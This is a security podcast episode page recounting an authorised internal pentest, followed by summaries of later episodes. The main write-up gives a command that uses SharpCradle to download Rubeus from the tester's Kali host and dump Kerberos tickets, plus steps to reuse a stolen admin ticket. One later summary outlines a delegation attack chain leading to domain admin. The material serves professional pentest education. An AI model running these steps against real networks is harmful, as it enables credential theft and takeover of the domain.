7MS #442: Tales of Internal Network Pentest Pwnage - Part 23
7 Minute Security19 Marras 2020

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Jaksot(703)

7MS #647: How to Succeed in Business Without Really Crying – Part 19

7MS #647: How to Succeed in Business Without Really Crying – Part 19

Today we're talkin' business – specifically how to make your report delivery meetings calm, cool and collect (both for you and the client!).

25 Loka 202422min

7MS #646: Baby's First Incident Response with Velociraptor

7MS #646: Baby's First Incident Response with Velociraptor

Hey friends, today I'm putting my blue hat on and dipping my toes in incident response by way of playing with Velociraptor, a very cool (and free!) tool to find evil in your environment. Perhaps even better than the price tag, Velociraptor runs as a single binary you can deploy to spin up a server and then request endpoints to "phone home" to you by way of GPO scheduled task. The things I talk about in this episode and show in the YouTube stream are all based off of this awesome presentation from Eric Capuano, who also was kind enough to publish a handout to accompany the presentation. And on a personal note, I wanted to share that Velociraptor has got me interested in jumping face first into some tough APT labs provided by XINTRA. More to come on XINTRA's offering, but so far I'm very impressed!

18 Loka 202416min

7MS #645: How to Succeed in Business Without Really Crying - Part 18

7MS #645: How to Succeed in Business Without Really Crying - Part 18

Today I do a short travelogue about my trip to Washington, geek out about some cool training I did with Velociraptor, ponder drowning myself in blue team knowledge with XINTRA LABS, and share some thoughts about the conference talk I gave called 7 Ways to Panic a Pentester.

14 Loka 202431min

7MS #644: Tales of Pentest Pwnage – Part 64

7MS #644: Tales of Pentest Pwnage – Part 64

Hey! I'm speaking in Wanatchee, Washington next week at the NCESD conference about 7 ways to panic a pentester! Today's tale of pentest pwnage is a great reminder to enumerate, enumerate, enumerate! It also emphases that cracking NETLM/NETNTLMv1 isn't super easy to remember the steps for (at least for me) but this crack.sh article makes it a bit easier!

4 Loka 202441min

7MS #643: DIY Pentest Dropbox Tips – Part 11

7MS #643: DIY Pentest Dropbox Tips – Part 11

Today we continue where we left off in episode 641, but this time talking about how to automatically deploy and install a Ubuntu-based dropbox!  I also share some love for exegol as an all-in-one Active Directory pentesting platform.

27 Syys 202426min

7MS #642: Interview with Ron Cole of Immersive Labs

7MS #642: Interview with Ron Cole of Immersive Labs

Ron Cole of Immersive Labs joins us to talk pentest war stories, essential skills he learned while serving on a SOC, and the various pentest training and range platforms you can use to sharpen your security skills! Here are the links Ron shared during our discussion: VetSec Fortinet Veterans Program Immersive Labs Cyber Million FedVTE

23 Syys 202442min

7MS #641: DIY Pentest Dropbox Tips – Part 10

7MS #641: DIY Pentest Dropbox Tips – Part 10

Today we're revisiting the fun world of automating pentest dropboxes using Proxmox, Ansible, Cursor and Level. Plus, a tease about how all this talk about automation is getting us excited for a long-term project: creating a free/community edition of Light Pentest LITE training!

13 Syys 202427min

7MS #640: Tales of Pentest Pwnage – Part 63

7MS #640: Tales of Pentest Pwnage – Part 63

This was my favorite pentest tale of pwnage to date! There's a lot to cover in this episode so I'm going to try and bullet out the TLDR version here: Sprinkled farmer files around the environment Found high-priv boxes with WebClient enabled Added "ghost" machine to the Active Directory (we'll call it GHOSTY) RBCD attack to be able to impersonate a domain admin using the CIFS/SMB service against the victim system where some higher-priv users were sitting Use net.py to add myself to local admin on the victim host Find a vulnerable service to hijack and have run an evil, TGT-gathering Rubeus.exe – found that Credential Guard was cramping my style! Pulled the TGT from a host not protected with Credential Guard Figured out the stolen user's account has some "write" privileges to a domain controller Use rbcd.py to delegate from GHOSTY and to the domain controller Request a TGT for GHOSTY Use getST.py to impersonate CIFS using a domain admin account on the domain controller (important thing here was to specify the DC by its FQDN, not just hostname) Final move: use the domain admin ccache file to leverage net.py and add myself to the Active Directory Administrators group

7 Syys 202443min

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